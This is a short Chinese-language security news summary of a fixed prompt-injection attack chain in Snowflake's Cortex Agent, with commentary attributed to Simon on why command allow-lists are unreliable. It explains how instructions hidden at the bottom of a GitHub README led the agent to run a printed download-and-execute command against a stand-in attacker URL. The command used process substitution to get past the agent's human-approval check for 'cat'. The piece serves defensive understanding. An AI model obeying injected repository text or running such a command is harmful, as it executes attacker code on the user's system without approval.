⚠️ Snowflake Cortex AI 沙箱逃逸漏洞
事件概述
PromptArmor 报告了 Snowflake 的 Cortex Agent 中的一个prompt injection攻击链,该漏洞已被修复。
🔴 严重性: 这是一个真实的安全漏洞,攻击者可以利用 AI 助手执行恶意代码。
攻击链分析
攻击步骤:
- 用户要求 Cortex Agent 审查一个 GitHub 仓库
- 该仓库的 README 底部隐藏了 prompt injection 攻击
- 攻击导致 Agent 执行了以下代码:
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
漏洞根源
Cortex 将 cat 命令列为可以无需人工批准即可安全运行的命令,但没有保护这种形式的进程替换(process substitution)——它可能出现在命令主体中。
Simon 的安全观点
核心观点: 我见过很多不同代理工具对命令模式进行白名单过滤,但我完全不信任它们——我觉得它们天生就不可靠。
Simon 更愿意将代理命令视为可以执行进程本身允许的任何操作,因此他对在代理层之外运行的确定性沙箱感兴趣。
安全启示
- Allow-lists 不可靠: 基于命令模式的白名单过滤本质上是不稳定的
- 进程替换风险:
<()语法可以在看似安全的命令中执行任意代码 - 深度防御: 需要在代理层之外建立独立的安全边界
- 最小权限原则: 即使是"安全"的命令也可能被组合利用